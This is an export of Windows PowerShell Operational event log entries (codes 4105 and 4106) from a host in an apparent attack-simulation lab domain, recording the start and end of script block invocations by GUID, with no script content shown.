09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042759
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042758
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042757
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042756
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042752
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042751
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042750
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042740
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042739
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042734
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042733
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042717
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042716
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
